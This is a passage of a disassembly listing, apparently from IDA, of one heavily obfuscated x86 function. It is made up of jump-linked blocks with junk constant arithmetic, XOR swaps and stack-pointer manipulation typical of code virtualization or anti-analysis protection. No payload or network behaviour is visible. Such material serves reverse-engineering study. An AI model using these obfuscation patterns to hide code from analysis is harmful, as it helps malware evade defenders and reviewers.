		xchg	edx, [esp+4Eh+var_50+2]
		mov	esp, [esp+4Eh+var_50+2]
		sub	esp, 4
		mov	[esp+52h+var_54+2], esi
		jmp	loc_5917C1
; ---------------------------------------------------------------------------


loc_5A252D:				; CODE XREF: sub_57DD3A+136D5j
		pop	ecx
		sub	dl, 52h
		sub	al, dl
		pop	edx
		add	al, bh
		add	al, 0AEh
		jmp	loc_5963AB
; ---------------------------------------------------------------------------


loc_5A253D:				; CODE XREF: sub_57DD3A+25439j
		add	eax, 10E220A8h
		add	eax, ebp
		sub	eax, 10E220A8h
		pop	ebp
		jmp	loc_5A32BA
; ---------------------------------------------------------------------------


loc_5A254F:				; CODE XREF: sub_57DD3A+1E700j
		xor	[esp+88h+var_88], edx
		xor	edx, [esp+88h+var_88]
		mov	esp, [esp+88h+var_88]
		mov	word ptr [esp+88h+var_88], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A2561:				; CODE XREF: sub_57DD3A+22763j
		pop	esp
		sub	ebp, 64E3B6D4h
		add	edx, 64BA7AF0h
		add	edx, ebp
		jmp	loc_593981
; ---------------------------------------------------------------------------


loc_5A2575:				; CODE XREF: sub_57DD3A+1910Bj
		mov	esi, 0AFE5539Fh
		sub	ecx, esi
		pop	esi
		add	eax, ecx
		pop	ecx
		add	eax, ecx
		push	esi
		jmp	loc_59DA5E
; ---------------------------------------------------------------------------


loc_5A2588:				; CODE XREF: sub_57DD3A+23B2Bj
		pop	ebx
		add	edi, edx
		pop	edx
		push	6C4Fh
		jmp	loc_59F0B8
; ---------------------------------------------------------------------------


loc_5A2596:				; CODE XREF: sub_57DD3A+17679j
		add	esp, 4
		jmp	loc_5981A2
; ---------------------------------------------------------------------------


loc_5A259E:				; CODE XREF: sub_57DD3A+18BC6j
		xor	ebp, [esp+1Ch+var_1E+2]
		pop	esp
		jmp	loc_59E7C2
; ---------------------------------------------------------------------------


loc_5A25A7:				; CODE XREF: sub_57DD3A+17C04j
		xor	esi, 0DBEFB0AAh
		add	eax, esi
		mov	esi, [esp+3Eh+var_3E]
		jmp	loc_597BDE
; ---------------------------------------------------------------------------


loc_5A25B7:				; CODE XREF: sub_57DD3A+166EAj
		sub	eax, edx
		sub	eax, 0EE23E87h
		mov	edx, [esp+18h+var_1A+2]
		jmp	loc_593404
; ---------------------------------------------------------------------------


loc_5A25C6:				; CODE XREF: sub_57DD3A+22357j
		sub	al, bl
		push	ecx
		mov	cl, 0EAh
		jmp	loc_5929D0
; ---------------------------------------------------------------------------


loc_5A25D0:				; CODE XREF: sub_57DD3A+1BFCEj
		not	dword ptr [esp+0]
		pop	edi
		jmp	loc_598143
; ---------------------------------------------------------------------------


loc_5A25D9:				; CODE XREF: sub_57DD3A+2533Cj
		xor	ah, 0E8h
		or	ch, ah
		pop	eax
		xchg	dl, ch
		neg	dl
		jmp	loc_595100
; ---------------------------------------------------------------------------


loc_5A25E8:				; CODE XREF: sub_57DD3A+1D787j
		not	esi
		sub	esi, 0FA1E1B8Fh
		jmp	loc_59A19E
; ---------------------------------------------------------------------------


loc_5A25F5:				; CODE XREF: sub_57DD3A+1994Ej
		sub	al, dl
		sub	al, 15h
		mov	edx, [esp+86h+var_88+2]
		add	esp, 4
		sub	al, bl
		push	edx
		mov	dl, 0BFh
		shr	dl, 8
		sub	dl, 5Ah
		add	al, dl
		pop	edx
		sub	al, 6Ah
		push	ecx
		sub	esp, 4
		jmp	loc_5992E6
; ---------------------------------------------------------------------------


loc_5A261E:				; CODE XREF: sub_57DD3A+1AA67j
		xor	eax, ecx
		pop	ecx
		push	550Bh
		mov	[esp+60h+var_60], esi
		mov	esi, eax
		push	38C9h
		mov	[esp+64h+var_64], esi
		jmp	loc_59A5A8
; ---------------------------------------------------------------------------


loc_5A2638:				; CODE XREF: sub_57DD3A+1838Bj
		pop	edi
		add	eax, 1ACD2660h
		jmp	loc_59268E
; ---------------------------------------------------------------------------


loc_5A2643:				; CODE XREF: sub_57DD3A+1F565j
		sub	esi, 0FFFFFFFFh
		push	esi
		not	[esp+8+var_8]
		pop	esi
		push	ebp
		mov	ebp, 3E0B511Ah
		jmp	loc_59F623
; ---------------------------------------------------------------------------


loc_5A2656:				; CODE XREF: sub_57DD3A+1EB95j
		mov	bl, 87h
		xor	bl, ch
		pop	ecx
		jmp	loc_5964C2
; ---------------------------------------------------------------------------


loc_5A2660:				; CODE XREF: sub_57DD3A+15225j
		mov	word ptr [esp+6Eh+var_70+2], ax
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A2669:				; CODE XREF: sub_57DD3A+196EDj
		xchg	ebx, [esp+28h+var_2A+2]
		jmp	loc_59DFD7
; ---------------------------------------------------------------------------


loc_5A2671:				; CODE XREF: sub_57DD3A+1A235j
		not	edi
		jmp	loc_5A1589
; ---------------------------------------------------------------------------


loc_5A2678:				; CODE XREF: sub_57DD3A+1E275j
		add	esp, 4
		pop	[esp+30h+var_32+2]
		mov	esp, [esp+2Ch+var_2E+2]
		jmp	loc_58EEE1
; ---------------------------------------------------------------------------


loc_5A2686:				; CODE XREF: sub_57DD3A+12D16j
		pop	ecx
		push	63BBh
		mov	[esp+12h+var_12], ebx
		mov	ebx, esp
		push	eax
		mov	eax, 7DB3430Bh
		inc	eax
		jmp	loc_59C50A
; ---------------------------------------------------------------------------


loc_5A269D:				; CODE XREF: sub_57DD3A+18AAEj
		push	ax
		jmp	loc_599137
; ---------------------------------------------------------------------------


loc_5A26A4:				; CODE XREF: sub_57DD3A+13092j
		mov	[esp+58h+var_58], edi
		push	esi
		push	5F11779Fh
		jmp	loc_5977F8
; ---------------------------------------------------------------------------


loc_5A26B2:				; CODE XREF: sub_57DD3A+181D2j
		mov	ebx, [esp+1Ch+var_1E+2]
		jmp	loc_5A2A15
; ---------------------------------------------------------------------------


loc_5A26BA:				; CODE XREF: sub_57DD3A+1EEE0j
		add	edx, 4
		push	esi
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58FA91
; ---------------------------------------------------------------------------


loc_5A26D7:				; CODE XREF: sub_57DD3A+177F7j
		add	esi, 4E0F3D08h
		pop	ebx
		jmp	loc_59E292
; ---------------------------------------------------------------------------


loc_5A26E3:				; CODE XREF: sub_57DD3A+1AC52j
		mov	eax, ebp
		jmp	loc_59A944
; ---------------------------------------------------------------------------


loc_5A26EA:				; CODE XREF: sub_57DD3A+1EECDj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_59FEEA
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+1Ch+var_1E+2]
		sub	esp, 4
		mov	[esp+20h+var_22+2], ebx
		sub	esp, 4
		mov	[esp+24h+var_26+2], esp
		sub	esp, 4
		mov	[esp+28h+var_2A+2], ecx
		push	4
		pop	ecx
		add	[esp+28h+var_26+2], ecx
		jmp	loc_58F8B8
; ---------------------------------------------------------------------------


loc_5A2723:				; CODE XREF: sub_57DD3A+218F4j
		mov	ebp, ebx
		mov	ecx, ebp
		mov	ebp, [esp+2Ah+var_2A]
		jmp	loc_59E46F
; ---------------------------------------------------------------------------


loc_5A272F:				; CODE XREF: sub_57DD3A+17E24j
		add	ecx, 494C22F0h
		add	ecx, 581C6645h
		add	ebp, 0C1F66D8h
		add	ebp, ecx
		sub	ebp, 0C1F66D8h
		pop	ecx
		pop	esi
		add	ebp, 0FFFFFFFFh
		dec	ebp
		xor	ebp, 6F5121F1h
		jmp	loc_59AD35
; ---------------------------------------------------------------------------


loc_5A275A:				; CODE XREF: sub_57DD3A+17AEEj
		mov	[esp+46h+var_46], edx
		sub	esp, 4
		mov	[esp+4Ah+var_4C+2], esp
		add	[esp+4Ah+var_4C+2], 4
		mov	edx, [esp+4Ah+var_4C+2]
		push	2676h
		mov	[esp+4Eh+var_50+2], edi
		mov	edi, esp
		push	eax
		mov	eax, 3BB31AD0h
		jmp	loc_5A0DE4
; ---------------------------------------------------------------------------


loc_5A2782:				; CODE XREF: sub_57DD3A+22188j
		not	eax
		push	ecx
		mov	ecx, 64235F45h
		sub	eax, ecx
		pop	ecx
		add	esi, eax
		pop	eax
		push	edi
		mov	edi, 5FE56D8Eh
		neg	edi
		add	edi, 4F610C44h
		sub	edi, 0EF7B9EB2h
		add	esi, edi
		pop	edi
		xchg	esi, [esp+1Ah+var_1A]
		pop	esp
		push	ebp
		jmp	loc_594A45
; ---------------------------------------------------------------------------


loc_5A27B1:				; CODE XREF: sub_57DD3A+1DF97j
		not	edi
		xchg	edi, ebp
		push	esi
		push	ebp
		mov	ebp, 7FA6577Bh
		push	eax
		jmp	loc_5943F4
; ---------------------------------------------------------------------------


loc_5A27C2:				; CODE XREF: sub_57DD3A+11AF9j
		xor	edx, [esp+84h+var_84]
		xor	[esp+84h+var_84], edx
		xor	edx, [esp+84h+var_84]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		mov	[esp+84h+var_84], ecx
		push	esi
		push	esp
		jmp	loc_58FFF2
; ---------------------------------------------------------------------------


loc_5A27EB:				; CODE XREF: sub_57DD3A+1F943j
		push	esp
		pop	esi
		push	edx
		sub	esp, 4
		mov	[esp+42h+var_42], ebx
		jmp	loc_596A77
; ---------------------------------------------------------------------------


loc_5A27FC:				; CODE XREF: sub_57DD3A+12085j
		add	edx, edi
		pop	edi
		add	edx, 4
		xchg	edx, [esp+36h+var_36]
		mov	esp, [esp+36h+var_36]
		jmp	loc_5949D1
; ---------------------------------------------------------------------------


loc_5A280D:				; CODE XREF: sub_57DD3A+1E602j
		xor	edi, 50CB18D8h
		sub	eax, edi
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		push	eax
		pop	dword ptr [edx+30h]
		mov	eax, [esp+50h+var_50]
		jmp	loc_58EC1C
; ---------------------------------------------------------------------------


loc_5A2827:				; CODE XREF: sub_57DD3A+1AF9Dj
		add	esp, 4
		push	1138h
		jmp	loc_58E5E4
; ---------------------------------------------------------------------------


loc_5A2837:				; CODE XREF: sub_57DD3A+1E438j
		sub	[esp+6Ch+var_6C], 6F737378h
		pop	ecx
		add	ecx, 6F737378h
		push	edi
		mov	edi, ecx
		mov	esi, edi
		pop	edi
		pop	ecx
		mov	ebx, [esp+64h+var_64]
		jmp	loc_59DE22
; ---------------------------------------------------------------------------


loc_5A2854:				; CODE XREF: sub_57DD3A+15BD6j
		mov	[esp+60h+var_60], ebx
		push	esp
		pop	ebx
		jmp	loc_59ECCB
; ---------------------------------------------------------------------------


loc_5A285E:				; CODE XREF: sub_57DD3A+23824j
		mov	edi, [esp+28h+var_2A+2]
		add	esp, 4
		not	eax
		not	eax
		push	esi
		mov	esi, 7F2B32E6h
		jmp	loc_594497
; ---------------------------------------------------------------------------


loc_5A2873:				; CODE XREF: sub_57DD3A+18E65j
		mov	esi, 4C885FE1h
		add	esi, 0B377A023h
		add	eax, esi
		pop	esi
		push	edi
		jmp	loc_58E543
; ---------------------------------------------------------------------------


loc_5A2887:				; CODE XREF: sub_57DD3A+1C2ECj
		neg	dl
		add	dl, 5Ah
		mov	bl, dl
		pop	edx
		jmp	loc_59D189
; ---------------------------------------------------------------------------


loc_5A2894:				; CODE XREF: sub_57DD3A+1E6F2j
		mov	ebx, 2EA06488h
		mov	esi, 4ED28C5Dh
		add	esi, 2C285B1Ah
		add	esi, ebx
		sub	esi, 2C285B1Ah
		pop	ebx
		push	1952h
		mov	[esp+88h+var_88], ecx
		mov	ecx, 21DC0868h
		sub	esi, 406515A0h
		sub	esi, ecx
		add	esi, 406515A0h
		pop	ecx
		jmp	loc_59ED90
; ---------------------------------------------------------------------------


loc_5A28CE:				; CODE XREF: sub_57DD3A+1DC51j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A28D3:				; CODE XREF: sub_57DD3A+242DFj
		sub	ebx, 4
		xchg	ebx, [esp+16h+var_16]
		pop	esp
		mov	[esp+12h+var_12], eax
		jmp	loc_59014A
; ---------------------------------------------------------------------------


loc_5A28E2:				; CODE XREF: sub_57DD3A+24666j
		add	esp, 4
		add	ebp, 0EBFF739Bh
		or	[edi+1Ch], ebp
		push	[esp+2+var_4+2]
		mov	ebp, [esp+6+var_8+2]
		add	esp, 4
		add	esp, 4
		jmp	loc_599E3C
; ---------------------------------------------------------------------------


loc_5A2902:				; CODE XREF: sub_57DD3A+2252Ej
		mov	ebp, [esp+5Eh+var_60+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+62h+var_64+2]
		pop	esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+5Eh+var_60+2]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59B144
; ---------------------------------------------------------------------------


loc_5A2933:				; CODE XREF: sub_57DD3A+17919j
		push	ebx
		mov	ebx, 2D5D6518h
		sub	edi, ebx
		jmp	loc_59A562
; ---------------------------------------------------------------------------


loc_5A2940:				; CODE XREF: sub_57DD3A+120FEj
		add	ecx, ebp
		pop	ebp
		push	147Bh
		mov	[esp+2Ah+var_2A], esi
		mov	esi, 2
		push	edi
		jmp	loc_5A04F3
; ---------------------------------------------------------------------------


loc_5A2956:				; CODE XREF: sub_57DD3A+14FA4j
		add	esp, 4
		xchg	ebx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		push	2AAAh
		mov	[esp+60h+var_60], ecx
		sub	esp, 4
		jmp	loc_595573
; ---------------------------------------------------------------------------


loc_5A2972:				; CODE XREF: sub_57DD3A+1775Cj
		pop	esi
		add	edx, ebp
		pop	ebp
		inc	edx
		xor	edx, 6CA13A97h
		or	edx, 1E0779FCh
		xor	edx, 5E3F7BFAh
		add	ecx, edx
		mov	edx, [esp+3Eh+var_3E]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+42h+var_42]
		jmp	loc_594A53
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp+42h+var_42]
		jmp	loc_5A1A3F
; ---------------------------------------------------------------------------


loc_5A29AE:				; CODE XREF: sub_57DD3A+17AA6j
		push	24CDh
		jmp	loc_59B592
; ---------------------------------------------------------------------------


loc_5A29B8:				; CODE XREF: sub_57DD3A+18F2Bj
		add	esi, edi
		mov	edi, [esp+4Ch+var_4C]
		add	esp, 4
		jmp	loc_5941C4
; ---------------------------------------------------------------------------


loc_5A29C5:				; CODE XREF: sub_57DD3A+13F98j
		push	ebp
		push	esi
		mov	esi, 22BA5E16h
		not	esi
		or	esi, 2E97694Bh
		neg	esi
		sub	esi, 321D2B15h
		xor	esi, 0CE0AEB02h
		jmp	loc_59C7CB
; ---------------------------------------------------------------------------


loc_5A29E7:				; CODE XREF: sub_57DD3A+19C8Bj
		sub	ebx, 4
		jmp	loc_59A95A
; ---------------------------------------------------------------------------


loc_5A29EF:				; CODE XREF: sub_57DD3A+150ABj
		mov	eax, [esp+1Eh+var_1E]
		jmp	loc_5A1B34
; ---------------------------------------------------------------------------


loc_5A29F7:				; CODE XREF: sub_57DD3A+1316Cj
		dec	ecx
		xor	ecx, 4C4E7213h
		jmp	loc_59A13A
; ---------------------------------------------------------------------------


loc_5A2A03:				; CODE XREF: sub_57DD3A+1440Dj
		mov	[esp+1Ah+var_1A], esi
		mov	esi, 4
		add	[esp+1Ah+var_16], esi
		pop	esi
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A2A15:				; CODE XREF: sub_57DD3A+2497Bj
		push	ebx
		push	esp
		jmp	loc_59EF9B
; ---------------------------------------------------------------------------


loc_5A2A1C:				; CODE XREF: sub_57DD3A+1134Aj
		sub	[esp+38h+var_36+2], 26E52447h
		push	edx
		jmp	loc_5A19A1
; ---------------------------------------------------------------------------


loc_5A2A2A:				; CODE XREF: sub_57DD3A+22F31j
		xchg	edi, ebp
		sub	edi, 0FFFFFFFFh
		xchg	edi, ebp
		xor	ebp, 1C8F4BE3h
		add	edi, ebp
		mov	ebp, [esp+58h+var_58]
		jmp	loc_5A2FEF
; ---------------------------------------------------------------------------


loc_5A2A44:				; CODE XREF: sub_57DD3A+1E3E3j
		push	1CBCh
		mov	[esp+8Ch+var_8C], ebx
		push	ebp
		mov	ebp, 58BD21CEh
		jmp	loc_599493
; ---------------------------------------------------------------------------


loc_5A2A57:				; CODE XREF: sub_57DD3A+21DD0j
		pop	ecx
		jmp	loc_59E795
; ---------------------------------------------------------------------------


loc_5A2A5D:				; CODE XREF: sub_57DD3A+203FFj
		sub	ebx, 70346F3Ah
		pop	edi
		xor	edx, eax
		jmp	loc_59A9F3
; ---------------------------------------------------------------------------


loc_5A2A6B:				; CODE XREF: sub_57DD3A+1EE8Cj
		push	ebp
		push	61E3h
		mov	[esp+3Eh+var_3E], eax
		mov	eax, 6DC44FDAh
		mov	ebp, eax
		mov	eax, [esp+3Eh+var_3E]
		jmp	loc_596FCF
; ---------------------------------------------------------------------------


loc_5A2A83:				; CODE XREF: sub_57DD3A+1E7CBj
		or	ebx, ecx
		jmp	loc_5A0C1C
; ---------------------------------------------------------------------------


loc_5A2A8A:				; CODE XREF: sub_57DD3A+1859Ej
		mov	ebp, 4676AC0h
		jmp	loc_59FEE4
; ---------------------------------------------------------------------------


loc_5A2A94:				; CODE XREF: sub_57DD3A+14B4Dj
		mov	[esp+4+var_4], ecx
		jmp	loc_597BD1
; ---------------------------------------------------------------------------


loc_5A2A9C:				; CODE XREF: sub_57DD3A+1ED9Ej
		pop	[esp+44h+var_46+2]
		mov	esp, [esp+40h+var_42+2]
		push	ebp
		mov	ebp, esp
		push	25E2h
		mov	[esp+0], ecx
		mov	ecx, 4E590808h
		sub	ecx, 1
		jmp	loc_598670
; ---------------------------------------------------------------------------


loc_5A2ABA:				; CODE XREF: sub_57DD3A+25494j
		mov	ebp, 37C0007Ah
		or	ecx, ebp
		mov	ebp, [esp+0]
		jmp	loc_5908CC
; ---------------------------------------------------------------------------


loc_5A2AC9:				; CODE XREF: sub_57DD3A+15D0Ej
		pop	ecx
		pop	[esp+20h+var_22+2]
		pop	esp
		mov	[esp+18h+var_1A+2], eax
		jmp	loc_598706
; ---------------------------------------------------------------------------


loc_5A2AD6:				; CODE XREF: sub_57DD3A+218ECj
		sub	ebp, 63077D70h
		add	ebp, 524BCDFFh
		sub	esi, ebp
		pop	ebp
		sub	ebx, esi
		pop	esi
		add	ecx, 3A285F45h
		add	ecx, ebx
		sub	ecx, 3A285F45h
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		xor	ecx, [esp+0]
		xor	[esp+0], ecx
		jmp	loc_59DADC
; ---------------------------------------------------------------------------


loc_5A2B0B:				; CODE XREF: sub_57DD3A+1E95Aj
		mov	[esp+54h+var_54], edi
		jmp	loc_5944BF
; ---------------------------------------------------------------------------


loc_5A2B13:				; CODE XREF: sub_57DD3A+21C0Bj
		mov	esi, 4
		add	[esp+4], esi
		jmp	loc_59ACE5
; ---------------------------------------------------------------------------


loc_5A2B21:				; CODE XREF: sub_57DD3A+19616j
		push	esp
		mov	ebp, [esp+58h+var_58]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+5Ch+var_5C]
		pop	esp
		push	esi
		mov	esi, 7E4A4146h
		jmp	loc_592E3E
; ---------------------------------------------------------------------------


loc_5A2B3F:				; CODE XREF: sub_57DD3A+127CFj
		mov	eax, 57591A19h
		dec	eax
		sub	eax, 66C931B7h
		jmp	loc_5A151C
; ---------------------------------------------------------------------------


loc_5A2B4F:				; CODE XREF: sub_57DD3A+138EDj
		pop	ecx
		push	[esp+4+var_4]
		pop	eax
		jmp	loc_59FDD2
; ---------------------------------------------------------------------------


loc_5A2B59:				; CODE XREF: sub_57DD3A+1090Dj
		pop	ebp
		push	esi
		mov	esi, 639B1E05h
		xor	esi, 1264588h
		shl	esi, 8
		xor	esi, 31077F48h
		or	esi, 7D835EA4h
		push	ecx
		push	0FDDFFEE8h
		pop	ecx
		xor	esi, ecx
		pop	ecx
		jmp	loc_5903D2
; ---------------------------------------------------------------------------


loc_5A2B84:				; CODE XREF: sub_57DD3A+1A187j
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A2B89:				; CODE XREF: sub_57DD3A+22DA3j
		sub	ebp, eax
		pop	eax
		sub	ebp, 6F088190h
		sub	ecx, ebp
		pop	ebp
		jmp	loc_599F3A
; ---------------------------------------------------------------------------


loc_5A2B9A:				; CODE XREF: sub_57DD3A+24FA8j
		pop	ecx
		push	ecx
		mov	ecx, 4
		jmp	loc_597A44
; ---------------------------------------------------------------------------


loc_5A2BA6:				; CODE XREF: sub_57DD3A+18566j
		add	esi, ebp
		pop	ebp
		jmp	loc_594F43
; ---------------------------------------------------------------------------


loc_5A2BAE:				; CODE XREF: sub_57DD3A+1AC6Bj
		push	ax
		mov	ah, 7
		xor	dl, ah
		jmp	loc_5971E8
; ---------------------------------------------------------------------------


loc_5A2BB9:				; CODE XREF: sub_57DD3A+19FC2j
		pop	edx
		add	bh, ah
		pop	eax
		push	ecx
		push	edx
		jmp	loc_595569
; ---------------------------------------------------------------------------


loc_5A2BC4:				; CODE XREF: sub_57DD3A+1F7FCj
		pop	edi
		push	edx
		mov	edx, 62B572FDh
		jmp	loc_59F728
; ---------------------------------------------------------------------------


loc_5A2BD0:				; CODE XREF: sub_57DD3A+1C9B1j
		mov	esi, 7A2172BFh
		push	ecx
		mov	ecx, 735A1812h
		sub	esi, ecx
		jmp	loc_5A192C
; ---------------------------------------------------------------------------


loc_5A2BE2:				; CODE XREF: sub_57DD3A+1CE04j
		push	ecx
		jmp	loc_594F9E
; ---------------------------------------------------------------------------


loc_5A2BE8:				; CODE XREF: sub_57DD3A+10BD8j
		sub	edx, edi
		pop	edi
		sub	esi, edx
		pop	edx
		push	edx
		mov	edx, 13F84780h
		jmp	loc_59745B
; ---------------------------------------------------------------------------


loc_5A2BF9:				; CODE XREF: sub_57DD3A+137CFj
		push	22E1h
		mov	[esp+44h+var_46+2], edx
		mov	edx, 60292F25h
		jmp	loc_5A0221
; ---------------------------------------------------------------------------


loc_5A2C0B:				; CODE XREF: sub_57DD3A+12AE6j
		mov	[esp+28h+var_2A+2], ecx
		push	2BD84D00h
		jmp	loc_58F9DD
; ---------------------------------------------------------------------------


loc_5A2C18:				; CODE XREF: sub_57DD3A+19037j
		add	esp, 4
		xor	ecx, [esp+54h+var_54]
		xor	[esp+54h+var_54], ecx
		xor	ecx, [esp+54h+var_54]
		mov	esp, [esp+54h+var_54]
		jmp	loc_5997EF
; ---------------------------------------------------------------------------


loc_5A2C2F:				; CODE XREF: sub_57DD3A+18491j
		pop	eax
		push	1EC5h
		mov	[esp+10h+var_12+2], ecx
		mov	ecx, 4
		add	edx, ecx
		mov	ecx, [esp+10h+var_12+2]
		add	esp, 4
		xor	edx, [esp+0Ch+var_E+2]
		xor	[esp+0Ch+var_E+2], edx
		xor	edx, [esp+0Ch+var_E+2]
		mov	esp, [esp+0Ch+var_E+2]
		jmp	loc_58F0F5
; ---------------------------------------------------------------------------


loc_5A2C59:				; CODE XREF: sub_57DD3A+1DA0Aj
		push	ebx
		mov	ebx, esp
		push	eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+78h+var_78]
		mov	esp, [esp+78h+var_78]
		jmp	loc_5A0DB2
; ---------------------------------------------------------------------------


loc_5A2C79:				; CODE XREF: sub_57DD3A+25030j
		add	ecx, 4
		xchg	ecx, [esp+78h+var_78]
		pop	esp
		sub	esp, 4
		mov	[esp+78h+var_78], edi
		jmp	loc_59CA6A
; ---------------------------------------------------------------------------


loc_5A2C91:				; CODE XREF: sub_57DD3A+23FF1j
		pop	[esp+0Ch+var_E+2]
		pop	esp
		jmp	loc_5996AB
; ---------------------------------------------------------------------------


loc_5A2C9A:				; CODE XREF: sub_57DD3A+1E239j
		mov	[esp+8+var_8], eax
		push	0A69h
		mov	[esp+0Ch+var_E+2], esp
		add	[esp+0Ch+var_E+2], 4
		mov	eax, [esp+0Ch+var_E+2]
		add	esp, 4
		push	esi
		mov	esi, 3A5E149Bh
		dec	esi
		neg	esi
		or	esi, 4031011Bh
		jmp	loc_58EE89
; ---------------------------------------------------------------------------


loc_5A2CC3:				; CODE XREF: sub_57DD3A+1B3C1j
		pop	ecx
		xchg	ebx, [esp+28h+var_2A+2]
		pop	esp
		jmp	loc_5A2EB8
; ---------------------------------------------------------------------------


loc_5A2CCD:				; CODE XREF: sub_57DD3A+20794j
		sub	edi, ebx
		jmp	loc_590999
; ---------------------------------------------------------------------------


loc_5A2CD4:				; CODE XREF: sub_57DD3A+10986j
		mov	[esp+18h+var_1A+2], ebp
		mov	ebp, 6326BBh
		jmp	loc_59688E
; ---------------------------------------------------------------------------


loc_5A2CE1:				; CODE XREF: sub_57DD3A+1A64Cj
		pop	edx
		jmp	loc_5A2B9A
; ---------------------------------------------------------------------------


loc_5A2CE7:				; CODE XREF: sub_57DD3A+2178Bj
		mov	[esp+5Ah+var_5C+2], ebp
		jmp	loc_58EA62
; ---------------------------------------------------------------------------


loc_5A2CEF:				; CODE XREF: sub_57DD3A+1999Aj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+18h+var_1A+2]
		mov	esp, [esp+18h+var_1A+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, ecx
		mov	ecx, [esp+20h+var_22+2]
		add	esp, 4
		jmp	loc_597FED
; ---------------------------------------------------------------------------


loc_5A2D1D:				; CODE XREF: sub_57DD3A+194C9j
		xor	ecx, edi
		jmp	loc_5953AF
; ---------------------------------------------------------------------------


loc_5A2D24:				; CODE XREF: sub_57DD3A+1F00Dj
		dec	esi
		shl	esi, 1
		inc	esi
		sub	esi, 12F44B42h
		xor	esi, 0A66FCBD6h
		jmp	loc_59F0D1
; ---------------------------------------------------------------------------


loc_5A2D39:				; CODE XREF: sub_57DD3A+17CE0j
		mov	esp, [esp+1Ch+var_1E+2]
		movsx	cx, al
		jmp	loc_59FCFF
; ---------------------------------------------------------------------------


loc_5A2D45:				; CODE XREF: sub_57DD3A+1D939j
		add	ebp, ecx
		jmp	loc_592BEF
; ---------------------------------------------------------------------------


loc_5A2D4C:				; CODE XREF: sub_57DD3A+1A4B7j
		and	ecx, 9887732h
		neg	ecx
		and	ecx, 63730D6Ah
		neg	ecx
		add	ecx, 63730D4Ch
		jmp	loc_596814
; ---------------------------------------------------------------------------


loc_5A2D67:				; CODE XREF: sub_57DD3A+22F6Fj
		add	ecx, eax
		pop	eax
		jmp	loc_5A2C79
; ---------------------------------------------------------------------------


loc_5A2D6F:				; CODE XREF: sub_57DD3A+13531j
		xor	ebx, edi
		xor	edi, ebx
		xor	ebx, edi
		not	edi
		xchg	edi, ebx
		shr	ebx, 5
		push	esi
		jmp	loc_59EF58
; ---------------------------------------------------------------------------


loc_5A2D82:				; CODE XREF: sub_57DD3A+1A5B0j
		mov	[esp+22h+var_22], edx
		jmp	loc_58E62F
; ---------------------------------------------------------------------------


loc_5A2D8A:				; CODE XREF: sub_57DD3A+12DC0j
		push	0E61h
		mov	[esp+6Ch+var_6C], edx
		push	ebx
		pop	edx
		mov	ebx, [esp+6Ch+var_6C]
		jmp	loc_590B70
; ---------------------------------------------------------------------------


loc_5A2D9C:				; CODE XREF: sub_57DD3A+1DD79j
		pop	ebp
		sub	eax, 45CE0EA9h
		sub	eax, ebp
		push	0EF4h
		mov	[esp+3Ah+var_3A], ebx
		jmp	loc_5A0154
; ---------------------------------------------------------------------------


loc_5A2DB1:				; CODE XREF: sub_57DD3A+190C8j
		shr	edx, 5
		sub	edx, 0C1AA90EBh
		sub	eax, edx
		pop	edx
		mov	ecx, [eax]
		mov	eax, [esp+4Ah+var_4C+2]
		push	ecx
		mov	ecx, esp
		jmp	loc_59078D
; ---------------------------------------------------------------------------


loc_5A2DCA:				; CODE XREF: sub_57DD3A+155D1j
		sub	eax, 0FFFFFFFFh
		jmp	loc_5921A3
; ---------------------------------------------------------------------------


loc_5A2DD4:				; CODE XREF: sub_57DD3A+13E0Fj
		sub	al, 0CDh
		jmp	loc_5A18FB
; ---------------------------------------------------------------------------


loc_5A2DDB:				; CODE XREF: sub_57DD3A+18924j
		and	bl, 0A5h
		xor	bl, 6Fh
		or	dl, bl
		jmp	loc_596F80
; ---------------------------------------------------------------------------


loc_5A2DE8:				; CODE XREF: sub_57DD3A+1C3CFj
		mov	word ptr [esp-18h+arg_12+2], cx
		jmp	loc_59E0B5
; ---------------------------------------------------------------------------


loc_5A2DF1:				; CODE XREF: sub_57DD3A+13404j
		add	esp, 4
		mov	eax, [esp+68h+var_68]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 592B66DFh
		shr	ebp, 4
		push	edx
		jmp	loc_58ECC6
; ---------------------------------------------------------------------------


loc_5A2E0C:				; CODE XREF: sub_57DD3A+17B1Fj
		mov	ebp, 74046726h
		and	edi, ebp
		push	[esp+80h+var_80]
		pop	ebp
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+84h+var_84]
		jmp	loc_59CA13
; ---------------------------------------------------------------------------


loc_5A2E2A:				; CODE XREF: sub_57DD3A+1F574j
		pop	edx
		sub	edi, esi
		pop	esi
		xor	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		jmp	loc_59582D
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		sbb	word ptr [esp-12h+arg_E], ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_5A2E49:				; CODE XREF: sub_57DD3A+1CBD8j
